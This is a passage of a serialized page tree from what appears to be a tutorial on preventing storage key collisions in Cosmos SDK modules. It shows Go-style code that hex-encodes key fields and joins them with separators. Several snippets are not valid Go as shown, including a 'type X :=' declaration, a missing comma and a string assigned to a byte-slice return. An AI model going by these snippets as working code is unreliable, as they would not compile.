975],{"type":28,"value":84853},{"type":23,"tag":314,"props":84977,"children":84978},{"style":338},[84979],{"type":28,"value":341},{"type":23,"tag":314,"props":84981,"children":84982},{"style":332},[84983],{"type":28,"value":8389},{"type":23,"tag":314,"props":84985,"children":84986},{"style":338},[84987],{"type":28,"value":341},{"type":23,"tag":314,"props":84989,"children":84990},{"style":360},[84991],{"type":28,"value":84992},"positionName",{"type":23,"tag":314,"props":84994,"children":84995},{"style":338},[84996],{"type":28,"value":84874},{"type":23,"tag":314,"props":84998,"children":84999},{"class":316,"line":1452},[85000],{"type":23,"tag":314,"props":85001,"children":85002},{"style":338},[85003],{"type":28,"value":2414},{"type":23,"tag":314,"props":85005,"children":85006},{"class":316,"line":1497},[85007,85011,85015,85019,85023,85027,85031,85035],{"type":23,"tag":314,"props":85008,"children":85009},{"style":360},[85010],{"type":28,"value":84889},{"type":23,"tag":314,"props":85012,"children":85013},{"style":338},[85014],{"type":28,"value":282},{"type":23,"tag":314,"props":85016,"children":85017},{"style":332},[85018],{"type":28,"value":84898},{"type":23,"tag":314,"props":85020,"children":85021},{"style":338},[85022],{"type":28,"value":341},{"type":23,"tag":314,"props":85024,"children":85025},{"style":360},[85026],{"type":28,"value":84933},{"type":23,"tag":314,"props":85028,"children":85029},{"style":338},[85030],{"type":28,"value":778},{"type":23,"tag":314,"props":85032,"children":85033},{"style":360},[85034],{"type":28,"value":84992},{"type":23,"tag":314,"props":85036,"children":85037},{"style":338},[85038],{"type":28,"value":2414},{"type":23,"tag":314,"props":85040,"children":85041},{"class":316,"line":1539},[85042],{"type":23,"tag":314,"props":85043,"children":85044},{"emptyLinePlaceholder":18},[85045],{"type":28,"value":1088},{"type":23,"tag":314,"props":85047,"children":85048},{"class":316,"line":1548},[85049,85053,85057,85061,85065,85069],{"type":23,"tag":314,"props":85050,"children":85051},{"style":360},[85052],{"type":28,"value":84458},{"type":23,"tag":314,"props":85054,"children":85055},{"style":354},[85056],{"type":28,"value":75669},{"type":23,"tag":314,"props":85058,"children":85059},{"style":360},[85060],{"type":28,"value":81486},{"type":23,"tag":314,"props":85062,"children":85063},{"style":338},[85064],{"type":28,"value":282},{"type":23,"tag":314,"props":85066,"children":85067},{"style":332},[85068],{"type":28,"value":84475},{"type":23,"tag":314,"props":85070,"children":85071},{"style":338},[85072],{"type":28,"value":2719},{"type":23,"tag":314,"props":85074,"children":85075},{"class":316,"line":1584},[85076,85080],{"type":23,"tag":314,"props":85077,"children":85078},{"style":1245},[85079],{"type":28,"value":84641},{"type":23,"tag":314,"props":85081,"children":85082},{"style":338},[85083],{"type":28,"value":1870},{"type":23,"tag":314,"props":85085,"children":85086},{"class":316,"line":1617},[85087,85091],{"type":23,"tag":314,"props":85088,"children":85089},{"style":360},[85090],{"type":28,"value":84499},{"type":23,"tag":314,"props":85092,"children":85093},{"style":338},[85094],{"type":28,"value":1870},{"type":23,"tag":314,"props":85096,"children":85097},{"class":316,"line":1625},[85098,85102],{"type":23,"tag":314,"props":85099,"children":85100},{"style":360},[85101],{"type":28,"value":84583},{"type":23,"tag":314,"props":85103,"children":85104},{"style":338},[85105],{"type":28,"value":1870},{"type":23,"tag":314,"props":85107,"children":85108},{"class":316,"line":1660},[85109,85114],{"type":23,"tag":314,"props":85110,"children":85111},{"style":360},[85112],{"type":28,"value":85113}," usernameEncoded",{"type":23,"tag":314,"props":85115,"children":85116},{"style":338},[85117],{"type":28,"value":1870},{"type":23,"tag":314,"props":85119,"children":85120},{"class":316,"line":1708},[85121,85125],{"type":23,"tag":314,"props":85122,"children":85123},{"style":360},[85124],{"type":28,"value":84583},{"type":23,"tag":314,"props":85126,"children":85127},{"style":338},[85128],{"type":28,"value":1870},{"type":23,"tag":314,"props":85130,"children":85131},{"class":316,"line":1743},[85132],{"type":23,"tag":314,"props":85133,"children":85134},{"style":360},[85135],{"type":28,"value":85136}," positionNameEncoded\n",{"type":23,"tag":314,"props":85138,"children":85139},{"class":316,"line":1751},[85140],{"type":23,"tag":314,"props":85141,"children":85142},{"style":338},[85143],{"type":28,"value":2414},{"type":23,"tag":24,"props":85145,"children":85146},{},[85147,85149,85154],{"type":28,"value":85148},"We did it. We finally eliminated all potential ",{"type":23,"tag":94,"props":85150,"children":85152},{"className":85151},[],[85153],{"type":28,"value":84458},{"type":28,"value":85155}," collisions.",{"type":23,"tag":24,"props":85157,"children":85158},{},[85159],{"type":28,"value":85160},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":23,"tag":24,"props":85162,"children":85163},{},[85164,85166,85172,85174,85179,85181,85186,85188,85193,85195,85201],{"type":28,"value":85165},"In the Cosmos framework, it is common for each ",{"type":23,"tag":94,"props":85167,"children":85169},{"className":85168},[],[85170],{"type":28,"value":85171},"Module",{"type":28,"value":85173}," to own a few ",{"type":23,"tag":94,"props":85175,"children":85177},{"className":85176},[],[85178],{"type":28,"value":84229},{"type":28,"value":85180}," and have individual ",{"type":23,"tag":94,"props":85182,"children":85184},{"className":85183},[],[85185],{"type":28,"value":79197},{"type":28,"value":85187},"s managing access to storages. It's also important to note that each ",{"type":23,"tag":94,"props":85189,"children":85191},{"className":85190},[],[85192],{"type":28,"value":84229},{"type":28,"value":85194}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":23,"tag":94,"props":85196,"children":85198},{"className":85197},[],[85199],{"type":28,"value":85200},"Modules",{"type":28,"value":282},{"type":23,"tag":24,"props":85203,"children":85204},{},[85205,85207,85212],{"type":28,"value":85206},"With that being said, what if we have to maintain more than one structure within the same ",{"type":23,"tag":94,"props":85208,"children":85210},{"className":85209},[],[85211],{"type":28,"value":84229},{"type":28,"value":2409},{"type":23,"tag":24,"props":85214,"children":85215},{},[85216,85218,85224,85226,85231],{"type":28,"value":85217},"To demonstrate this scenario, we introduce the ",{"type":23,"tag":94,"props":85219,"children":85221},{"className":85220},[],[85222],{"type":28,"value":85223},"NameToAddressMap",{"type":28,"value":85225}," structure, which will be stored in the same ",{"type":23,"tag":94,"props":85227,"children":85229},{"className":85228},[],[85230],{"type":28,"value":84229},{"type":28,"value":85232}," we previously used.",{"type":23,"tag":304,"props":85234,"children":85236},{"code":85235,"language":75417,"meta":7,"className":75418,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n map[VaultId]map[Username]map[AddressName]Address\n",[85237],{"type":23,"tag":94,"props":85238,"children":85239},{"__ignoreMap":7},[85240,85255,85270,85277,85292,85311,85326,85333,85348,85403,85410,85426,85446,85461,85468,85484],{"type":23,"tag":314,"props":85241,"children":85242},{"class":316,"line":317},[85243,85247,85251],{"type":23,"tag":314,"props":85244,"children":85245},{"style":321},[85246],{"type":28,"value":32004},{"type":23,"tag":314,"props":85248,"children":85249},{"style":2674},[85250],{"type":28,"value":84275},{"type":23,"tag":314,"props":85252,"children":85253},{"style":2674},[85254],{"type":28,"value":75455},{"type":23,"tag":314,"props":85256,"children":85257},{"class":316,"line":370},[85258,85262,85266],{"type":23,"tag":314,"props":85259,"children":85260},{"style":321},[85261],{"type":28,"value":32004},{"type":23,"tag":314,"props":85263,"children":85264},{"style":2674},[85265],{"type":28,"value":84291},{"type":23,"tag":314,"props":85267,"children":85268},{"style":2674},[85269],{"type":28,"value":84296},{"type":23,"tag":314,"props":85271,"children":85272},{"class":316,"line":380},[85273],{"type":23,"tag":314,"props":85274,"children":85275},{"emptyLinePlaceholder":18},[85276],{"type":28,"value":1088},{"type":23,"tag":314,"props":85278,"children":85279},{"class":316,"line":1091},[85280,85284,85288],{"type":23,"tag":314,"props":85281,"children":85282},{"style":321},[85283],{"type":28,"value":32004},{"type":23,"tag":314,"props":85285,"children":85286},{"style":2674},[85287],{"type":28,"value":84308},{"type":23,"tag":314,"props":85289,"children":85290},{"style":2674},[85291],{"type":28,"value":84296},{"type":23,"tag":314,"props":85293,"children":85294},{"class":316,"line":1141},[85295,85299,85303,85307],{"type":23,"tag":314,"props":85296,"children":85297},{"style":321},[85298],{"type":28,"value":32004},{"type":23,"tag":314,"props":85300,"children":85301},{"style":2674},[85302],{"type":28,"value":6680},{"type":23,"tag":314,"props":85304,"children":85305},{"style":321},[85306],{"type":28,"value":20388},{"type":23,"tag":314,"props":85308,"children":85309},{"style":338},[85310],{"type":28,"value":1449},{"type":23,"tag":314,"props":85312,"children":85313},{"class":316,"line":1173},[85314,85318,85322],{"type":23,"tag":314,"props":85315,"children":85316},{"style":360},[85317],{"type":28,"value":42481},{"type":23,"tag":314,"props":85319,"children":85320},{"style":338},[85321],{"type":28,"value":75480},{"type":23,"tag":314,"props":85323,"children":85324},{"style":2674},[85325],{"type":28,"value":83480},{"type":23,"tag":314,"props":85327,"children":85328},{"class":316,"line":1208},[85329],{"type":23,"tag":314,"props":85330,"children":85331},{"style":338},[85332],{"type":28,"value":386},{"type":23,"tag":314,"props":85334,"children":85335},{"class":316,"line":1216},[85336,85340,85344],{"type":23,"tag":314,"props":85337,"children":85338},{"style":321},[85339],{"type":28,"value":32004},{"type":23,"tag":314,"props":85341,"children":85342},{"style":2674},[85343],{"type":28,"value":84365},{"type":23,"tag":314,"props":85345,"children":85346},{"style":354},[85347],{"type":28,"value":84370},{"type":23,"tag":314,"props":85349,"children":85350},{"class":316,"line":1301},[85351,85355,85359,85363,85367,85371,85375,85379,85383,85387,85391,85395,85399],{"type":23,"tag":314,"props":85352,"children":85353},{"style":321},[85354],{"type":28,"value":84378},{"type":23,"tag":314,"props":85356,"children":85357},{"style":338},[85358],{"type":28,"value":1312},{"type":23,"tag":314,"props":85360,"children":85361},{"style":2674},[85362],{"type":28,"value":84387},{"type":23,"tag":314,"props":85364,"children":85365},{"style":338},[85366],{"type":28,"value":14653},{"type":23,"tag":314,"props":85368,"children":85369},{"style":321},[85370],{"type":28,"value":66355},{"type":23,"tag":314,"props":85372,"children":85373},{"style":338},[85374],{"type":28,"value":1312},{"type":23,"tag":314,"props":85376,"children":85377},{"style":2674},[85378],{"type":28,"value":84404},{"type":23,"tag":314,"props":85380,"children":85381},{"style":338},[85382],{"type":28,"value":14653},{"type":23,"tag":314,"props":85384,"children":85385},{"style":321},[85386],{"type":28,"value":66355},{"type":23,"tag":314,"props":85388,"children":85389},{"style":338},[85390],{"type":28,"value":1312},{"type":23,"tag":314,"props":85392,"children":85393},{"style":2674},[85394],{"type":28,"value":84421},{"type":23,"tag":314,"props":85396,"children":85397},{"style":338},[85398],{"type":28,"value":14653},{"type":23,"tag":314,"props":85400,"children":85401},{"style":2674},[85402],{"type":28,"value":84430},{"type":23,"tag":314,"props":85404,"children":85405},{"class":316,"line":1343},[85406],{"type":23,"tag":314,"props":85407,"children":85408},{"emptyLinePlaceholder":18},[85409],{"type":28,"value":1088},{"type":23,"tag":314,"props":85411,"children":85412},{"class":316,"line":1351},[85413,85417,85422],{"type":23,"tag":314,"props":85414,"children":85415},{"style":321},[85416],{"type":28,"value":32004},{"type":23,"tag":314,"props":85418,"children":85419},{"style":2674},[85420],{"type":28,"value":85421}," AddressName",{"type":23,"tag":314,"props":85423,"children":85424},{"style":2674},[85425],{"type":28,"value":84296},{"type":23,"tag":314,"props":85427,"children":85428},{"class":316,"line":1387},[85429,85433,85438,85442],{"type":23,"tag":314,"props":85430,"children":85431},{"style":321},[85432],{"type":28,"value":32004},{"type":23,"tag":314,"props":85434,"children":85435},{"style":2674},[85436],{"type":28,"value":85437}," Address",{"type":23,"tag":314,"props":85439,"children":85440},{"style":321},[85441],{"type":28,"value":20388},{"type":23,"tag":314,"props":85443,"children":85444},{"style":338},[85445],{"type":28,"value":1449},{"type":23,"tag":314,"props":85447,"children":85448},{"class":316,"line":1422},[85449,85453,85457],{"type":23,"tag":314,"props":85450,"children":85451},{"style":360},[85452],{"type":28,"value":1558},{"type":23,"tag":314,"props":85454,"children":85455},{"style":338},[85456],{"type":28,"value":75480},{"type":23,"tag":314,"props":85458,"children":85459},{"style":2674},[85460],{"type":28,"value":83480},{"type":23,"tag":314,"props":85462,"children":85463},{"class":316,"line":1430},[85464],{"type":23,"tag":314,"props":85465,"children":85466},{"style":338},[85467],{"type":28,"value":386},{"type":23,"tag":314,"props":85469,"children":85470},{"class":316,"line":1452},[85471,85475,85480],{"type":23,"tag":314,"props":85472,"children":85473},{"style":321},[85474],{"type":28,"value":32004},{"type":23,"tag":314,"props":85476,"children":85477},{"style":2674},[85478],{"type":28,"value":85479}," AddressMap",{"type":23,"tag":314,"props":85481,"children":85482},{"style":354},[85483],{"type":28,"value":84370},{"type":23,"tag":314,"props":85485,"children":85486},{"class":316,"line":1497},[85487,85491,85495,85499,85503,85507,85511,85515,85519,85523,85527,85532,85536],{"type":23,"tag":314,"props":85488,"children":85489},{"style":321},[85490],{"type":28,"value":84378},{"type":23,"tag":314,"props":85492,"children":85493},{"style":338},[85494],{"type":28,"value":1312},{"type":23,"tag":314,"props":85496,"children":85497},{"style":2674},[85498],{"type":28,"value":84387},{"type":23,"tag":314,"props":85500,"children":85501},{"style":338},[85502],{"type":28,"value":14653},{"type":23,"tag":314,"props":85504,"children":85505},{"style":321},[85506],{"type":28,"value":66355},{"type":23,"tag":314,"props":85508,"children":85509},{"style":338},[85510],{"type":28,"value":1312},{"type":23,"tag":314,"props":85512,"children":85513},{"style":2674},[85514],{"type":28,"value":84404},{"type":23,"tag":314,"props":85516,"children":85517},{"style":338},[85518],{"type":28,"value":14653},{"type":23,"tag":314,"props":85520,"children":85521},{"style":321},[85522],{"type":28,"value":66355},{"type":23,"tag":314,"props":85524,"children":85525},{"style":338},[85526],{"type":28,"value":1312},{"type":23,"tag":314,"props":85528,"children":85529},{"style":2674},[85530],{"type":28,"value":85531},"AddressName",{"type":23,"tag":314,"props":85533,"children":85534},{"style":338},[85535],{"type":28,"value":14653},{"type":23,"tag":314,"props":85537,"children":85538},{"style":2674},[85539],{"type":28,"value":85540},"Address\n",{"type":23,"tag":24,"props":85542,"children":85543},{},[85544],{"type":28,"value":85545},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":23,"tag":304,"props":85547,"children":85549},{"code":85548,"language":75417,"meta":7,"className":75418,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[85550],{"type":23,"tag":94,"props":85551,"children":85552},{"__ignoreMap":7},[85553,85564,85579,85586,85593,85600,85616,85631,85658,85681,85700,85716,85752,85759,85794,85801,85821,85836,85871,85878,85913,85920,85948,85960,85972,85984,85996,86007,86019,86026,86033,86040,86047,86063,86078,86102,86125,86144,86159,86194,86201,86236,86243,86263,86278,86313,86320,86356,86363,86390,86401,86412,86423,86434,86445,86457,86464],{"type":23,"tag":314,"props":85554,"children":85555},{"class":316,"line":317},[85556,85560],{"type":23,"tag":314,"props":85557,"children":85558},{"style":321},[85559],{"type":28,"value":346},{"type":23,"tag":314,"props":85561,"children":85562},{"style":338},[85563],{"type":28,"value":77818},{"type":23,"tag":314,"props":85565,"children":85566},{"class":316,"line":370},[85567,85571,85575],{"type":23,"tag":314,"props":85568,"children":85569},{"style":360},[85570],{"type":28,"value":84583},{"type":23,"tag":314,"props":85572,"children":85573},{"style":354},[85574],{"type":28,"value":1237},{"type":23,"tag":314,"props":85576,"children":85577},{"style":1245},[85578],{"type":28,"value":84592},{"type":23,"tag":314,"props":85580,"children":85581},{"class":316,"line":380},[85582],{"type":23,"tag":314,"props":85583,"children":85584},{"style":338},[85585],{"type":28,"value":2414},{"type":23,"tag":314,"props":85587,"children":85588},{"class":316,"line":1091},[85589],{"type":23,"tag":314,"props":85590,"children":85591},{"emptyLinePlaceholder":18},[85592],{"type":28,"value":1088},{"type":23,"tag":314,"props":85594,"children":85595},{"class":316,"line":1141},[85596],{"type":23,"tag":314,"props":85597,"children":85598},{"emptyLinePlaceholder":18},[85599],{"type":28,"value":1088},{"type":23,"tag":314,"props":85601,"children":85602},{"class":316,"line":1173},[85603,85607,85612],{"type":23,"tag":314,"props":85604,"children":85605},{"style":321},[85606],{"type":28,"value":75553},{"type":23,"tag":314,"props":85608,"children":85609},{"style":332},[85610],{"type":28,"value":85611}," PositionMapKey",{"type":23,"tag":314,"props":85613,"children":85614},{"style":338},[85615],{"type":28,"value":2719},{"type":23,"tag":314,"props":85617,"children":85618},{"class":316,"line":1208},[85619,85623,85627],{"type":23,"tag":314,"props":85620,"children":85621},{"style":360},[85622],{"type":28,"value":84499},{"type":23,"tag":314,"props":85624,"children":85625},{"style":2674},[85626],{"type":28,"value":75674},{"type":23,"tag":314,"props":85628,"children":85629},{"style":338},[85630],{"type":28,"value":1870},{"type":23,"tag":314,"props":85632,"children":85633},{"class":316,"line":1216},[85634,85638,85642,85646,85650,85654],{"type":23,"tag":314,"props":85635,"children":85636},{"style":360},[85637],{"type":28,"value":84511},{"type":23,"tag":314,"props":85639,"children":85640},{"style":338},[85641],{"type":28,"value":778},{"type":23,"tag":314,"props":85643,"children":85644},{"style":360},[85645],{"type":28,"value":84992},{"type":23,"tag":314,"props":85647,"children":85648},{"style":338},[85649],{"type":28,"value":75480},{"type":23,"tag":314,"props":85651,"children":85652},{"style":2674},[85653],{"type":28,"value":84017},{"type":23,"tag":314,"props":85655,"children":85656},{"style":338},[85657],{"type":28,"value":1870},{"type":23,"tag":314,"props":85659,"children":85660},{"class":316,"line":1301},[85661,85665,85669,85673,85677],{"type":23,"tag":314,"props":85662,"children":85663},{"style":338},[85664],{"type":28,"value":75635},{"type":23,"tag":314,"props":85666,"children":85667},{"style":360},[85668],{"type":28,"value":1472},{"type":23,"tag":314,"props":85670,"children":85671},{"style":338},[85672],{"type":28,"value":75480},{"type":23,"tag":314,"props":85674,"children":85675},{"style":2674},[85676],{"type":28,"value":84017},{"type":23,"tag":314,"props":85678,"children":85679},{"style":338},[85680],{"type":28,"value":367},{"type":23,"tag":314,"props":85682,"children":85683},{"class":316,"line":1343},[85684,85688,85692,85696],{"type":23,"tag":314,"props":85685,"children":85686},{"style":360},[85687],{"type":28,"value":85113},{"type":23,"tag":314,"props":85689,"children":85690},{"style":354},[85691],{"type":28,"value":75669},{"type":23,"tag":314,"props":85693,"children":85694},{"style":332},[85695],{"type":28,"value":84816},{"type":23,"tag":314,"props":85697,"children":85698},{"style":338},[85699],{"type":28,"value":2719},{"type":23,"tag":314,"props":85701,"children":85702},{"class":316,"line":1351},[85703,85708,85712],{"type":23,"tag":314,"props":85704,"children":85705},{"style":338},[85706],{"type":28,"value":85707}," []",{"type":23,"tag":314,"props":85709,"children":85710},{"style":2674},[85711],{"type":28,"value":84017},{"type":23,"tag":314,"props":85713,"children":85714},{"style":338},[85715],{"type":28,"value":1870},{"type":23,"tag":314,"props":85717,"children":85718},{"class":316,"line":1387},[85719,85724,85728,85732,85736,85740,85744,85748],{"type":23,"tag":314,"props":85720,"children":85721},{"style":360},[85722],{"type":28,"value":85723}," hex",{"type":23,"tag":314,"props":85725,"children":85726},{"style":338},[85727],{"type":28,"value":282},{"type":23,"tag":314,"props":85729,"children":85730},{"style":332},[85731],{"type":28,"value":84853},{"type":23,"tag":314,"props":85733,"children":85734},{"style":338},[85735],{"type":28,"value":341},{"type":23,"tag":314,"props":85737,"children":85738},{"style":332},[85739],{"type":28,"value":8389},{"type":23,"tag":314,"props":85741,"children":85742},{"style":338},[85743],{"type":28,"value":341},{"type":23,"tag":314,"props":85745,"children":85746},{"style":360},[85747],{"type":28,"value":84723},{"type":23,"tag":314,"props":85749,"children":85750},{"style":338},[85751],{"type":28,"value":84874},{"type":23,"tag":314,"props":85753,"children":85754},{"class":316,"line":1422},[85755],{"type":23,"tag":314,"props":85756,"children":85757},{"style":338},[85758],{"type":28,"value":23164},{"type":23,"tag":314,"props":85760,"children":85761},{"class":316,"line":1430},[85762,85766,85770,85774,85778,85782,85786,85790],{"type":23,"tag":314,"props":85763,"children":85764},{"style":360},[85765],{"type":28,"value":84844},{"type":23,"tag":314,"props":85767,"children":85768},{"style":338},[85769],{"type":28,"value":282},{"type":23,"tag":314,"props":85771,"children":85772},{"style":332},[85773],{"type":28,"value":84898},{"type":23,"tag":314,"props":85775,"children":85776},{"style":338},[85777],{"type":28,"value":341},{"type":23,"tag":314,"props":85779,"children":85780},{"style":360},[85781],{"type":28,"value":84807},{"type":23,"tag":314,"props":85783,"children":85784},{"style":338},[85785],{"type":28,"value":778},{"type":23,"tag":314,"props":85787,"children":85788},{"style":360},[85789],{"type":28,"value":84723},{"type":23,"tag":314,"props":85791,"children":85792},{"style":338},[85793],{"type":28,"value":2414},{"type":23,"tag":314,"props":85795,"children":85796},{"class":316,"line":1452},[85797],{"type":23,"tag":314,"props":85798,"children":85799},{"emptyLinePlaceholder":18},[85800],{"type":28,"value":1088},{"type":23,"tag":314,"props":85802,"children":85803},{"class":316,"line":1497},[85804,85809,85813,85817],{"type":23,"tag":314,"props":85805,"children":85806},{"style":360},[85807],{"type":28,"value":85808}," positionNameEncoded",{"type":23,"tag":314,"props":85810,"children":85811},{"style":354},[85812],{"type":28,"value":75669},{"type":23,"tag":314,"props":85814,"children":85815},{"style":332},[85816],{"type":28,"value":84816},{"type":23,"tag":314,"props":85818,"children":85819},{"style":338},[85820],{"type":28,"value":2719},{"type":23,"tag":314,"props":85822,"children":85823},{"class":316,"line":1539},[85824,85828,85832],{"type":23,"tag":314,"props":85825,"children":85826},{"style":338},[85827],{"type":28,"value":85707},{"type":23,"tag":314,"props":85829,"children":85830},{"style":2674},[85831],{"type":28,"value":84017},{"type":23,"tag":314,"props":85833,"children":85834},{"style":338},[85835],{"type":28,"value":1870},{"type":23,"tag":314,"props":85837,"children":85838},{"class":316,"line":1548},[85839,85843,85847,85851,85855,85859,85863,85867],{"type":23,"tag":314,"props":85840,"children":85841},{"style":360},[85842],{"type":28,"value":85723},{"type":23,"tag":314,"props":85844,"children":85845},{"style":338},[85846],{"type":28,"value":282},{"type":23,"tag":314,"props":85848,"children":85849},{"style":332},[85850],{"type":28,"value":84853},{"type":23,"tag":314,"props":85852,"children":85853},{"style":338},[85854],{"type":28,"value":341},{"type":23,"tag":314,"props":85856,"children":85857},{"style":332},[85858],{"type":28,"value":8389},{"type":23,"tag":314,"props":85860,"children":85861},{"style":338},[85862],{"type":28,"value":341},{"type":23,"tag":314,"props":85864,"children":85865},{"style":360},[85866],{"type":28,"value":84992},{"type":23,"tag":314,"props":85868,"children":85869},{"style":338},[85870],{"type":28,"value":84874},{"type":23,"tag":314,"props":85872,"children":85873},{"class":316,"line":1584},[85874],{"type":23,"tag":314,"props":85875,"children":85876},{"style":338},[85877],{"type":28,"value":23164},{"type":23,"tag":314,"props":85879,"children":85880},{"class":316,"line":1617},[85881,85885,85889,85893,85897,85901,85905,85909],{"type":23,"tag":314,"props":85882,"children":85883},{"style":360},[85884],{"type":28,"value":84844},{"type":23,"tag":314,"props":85886,"children":85887},{"style":338},[85888],{"type":28,"value":282},{"type":23,"tag":314,"props":85890,"children":85891},{"style":332},[85892],{"type":28,"value":84898},{"type":23,"tag":314,"props":85894,"children":85895},{"style":338},[85896],{"type":28,"value":341},{"type":23,"tag":314,"props":85898,"children":85899},{"style":360},[85900],{"type":28,"value":84933},{"type":23,"tag":314,"props":85902,"children":85903},{"style":338},[85904],{"type":28,"value":778},{"type":23,"tag":314,"props":85906,"children":85907},{"style":360},[85908],{"type":28,"value":84992},{"type":23,"tag":314,"props":85910,"children":85911},{"style":338},[85912],{"type":28,"value":2414},{"type":23,"tag":314,"props":85914,"children":85915},{"class":316,"line":1625},[85916],{"type":23,"tag":314,"props":85917,"children":85918},{"emptyLinePlaceholder":18},[85919],{"type":28,"value":1088},{"type":23,"tag":314,"props":85921,"children":85922},{"class":316,"line":1660},[85923,85928,85932,85936,85940,85944],{"type":23,"tag":314,"props":85924,"children":85925},{"style":360},[85926],{"type":28,"value":85927}," key",{"type":23,"tag":314,"props":85929,"children":85930},{"style":354},[85931],{"type":28,"value":75669},{"type":23,"tag":314,"props":85933,"children":85934},{"style":360},[85935],{"type":28,"value":81486},{"type":23,"tag":314,"props":85937,"children":85938},{"style":338},[85939],{"type":28,"value":282},{"type":23,"tag":314,"props":85941,"children":85942},{"style":332},[85943],{"type":28,"value":84475},{"type":23,"tag":314,"props":85945,"children":85946},{"style":338},[85947],{"type":28,"value":2719},{"type":23,"tag":314,"props":85949,"children":85950},{"class":316,"line":1708},[85951,85956],{"type":23,"tag":314,"props":85952,"children":85953},{"style":1245},[85954],{"type":28,"value":85955}," \"%d%s%s%s%s\"",{"type":23,"tag":314,"props":85957,"children":85958},{"style":338},[85959],{"type":28,"value":1870},{"type":23,"tag":314,"props":85961,"children":85962},{"class":316,"line":1743},[85963,85968],{"type":23,"tag":314,"props":85964,"children":85965},{"style":360},[85966],{"type":28,"value":85967}," vaultId",{"type":23,"tag":314,"props":85969,"children":85970},{"style":338},[85971],{"type":28,"value":1870},{"type":23,"tag":314,"props":85973,"children":85974},{"class":316,"line":1751},[85975,85980],{"type":23,"tag":314,"props":85976,"children":85977},{"style":360},[85978],{"type":28,"value":85979}," Seperator",{"type":23,"tag":314,"props":85981,"children":85982},{"style":338},[85983],{"type":28,"value":1870},{"type":23,"tag":314,"props":85985,"children":85986},{"class":316,"line":1791},[85987,85992],{"type":23,"tag":314,"props":85988,"children":85989},{"style":360},[85990],{"type":28,"value":85991}," usernameEncoded",{"type":23,"tag":314,"props":85993,"children":85994},{"style":338},[85995],{"type":28,"value":1870},{"type":23,"tag":314,"props":85997,"children":85998},{"class":316,"line":1805},[85999,86003],{"type":23,"tag":314,"props":86000,"children":86001},{"style":360},[86002],{"type":28,"value":85979},{"type":23,"tag":314,"props":86004,"children":86005},{"style":338},[86006],{"type":28,"value":1870},{"type":23,"tag":314,"props":86008,"children":86009},{"class":316,"line":1818},[86010,86015],{"type":23,"tag":314,"props":86011,"children":86012},{"style":360},[86013],{"type":28,"value":86014}," positionNameEncoded",{"type":23,"tag":314,"props":86016,"children":86017},{"style":338},[86018],{"type":28,"value":1870},{"type":23,"tag":314,"props":86020,"children":86021},{"class":316,"line":1873},[86022],{"type":23,"tag":314,"props":86023,"children":86024},{"style":338},[86025],{"type":28,"value":23164},{"type":23,"tag":314,"props":86027,"children":86028},{"class":316,"line":1891},[86029],{"type":23,"tag":314,"props":86030,"children":86031},{"style":338},[86032],{"type":28,"value":386},{"type":23,"tag":314,"props":86034,"children":86035},{"class":316,"line":1899},[86036],{"type":23,"tag":314,"props":86037,"children":86038},{"emptyLinePlaceholder":18},[86039],{"type":28,"value":1088},{"type":23,"tag":314,"props":86041,"children":86042},{"class":316,"line":1944},[86043],{"type":23,"tag":314,"props":86044,"children":86045},{"emptyLinePlaceholder":18},[86046],{"type":28,"value":1088},{"type":23,"tag":314,"props":86048,"children":86049},{"class":316,"line":2008},[86050,86054,86059],{"type":23,"tag":314,"props":86051,"children":86052},{"style":321},[86053],{"type":28,"value":75553},{"type":23,"tag":314,"props":86055,"children":86056},{"style":332},[86057],{"type":28,"value":86058}," AddressMapKey",{"type":23,"tag":314,"props":86060,"children":86061},{"style":338},[86062],{"type":28,"value":2719},{"type":23,"tag":314,"props":86064,"children":86065},{"class":316,"line":2043},[86066,86070,86074],{"type":23,"tag":314,"props":86067,"children":86068},{"style":360},[86069],{"type":28,"value":84499},{"type":23,"tag":314,"props":86071,"children":86072},{"style":2674},[86073],{"type":28,"value":75674},{"type":23,"tag":314,"props":86075,"children":86076},{"style":338},[86077],{"type":28,"value":1870},{"type":23,"tag":314,"props":86079,"children":86080},{"class":316,"line":22803},[86081,86085,86089,86094,86098],{"type":23,"tag":314,"props":86082,"children":86083},{"style":360},[86084],{"type":28,"value":84511},{"type":23,"tag":314,"props":86086,"children":86087},{"style":338},[86088],{"type":28,"value":778},{"type":23,"tag":314,"props":86090,"children":86091},{"style":360},[86092],{"type":28,"value":86093},"addressName",{"type":23,"tag":314,"props":86095,"children":86096},{"style":338},[86097],{"type":28,"value":75480},{"type":23,"tag":314,"props":86099,"children":86100},{"style":2674},[86101],{"type":28,"value":83480},{"type":23,"tag":314,"props":86103,"children":86104},{"class":316,"line":22845},[86105,86109,86113,86117,86121],{"type":23,"tag":314,"props":86106,"children":86107},{"style":338},[86108],{"type":28,"value":75635},{"type":23,"tag":314,"props":86110,"children":86111},{"style":360},[86112],{"type":28,"value":1472},{"type":23,"tag":314,"props":86114,"children":86115},{"style":338},[86116],{"type":28,"value":75480},{"type":23,"tag":314,"props":86118,"children":86119},{"style":2674},[86120],{"type":28,"value":84017},{"type":23,"tag":314,"props":86122,"children":86123},{"style":338},[86124],{"type":28,"value":367},{"type":23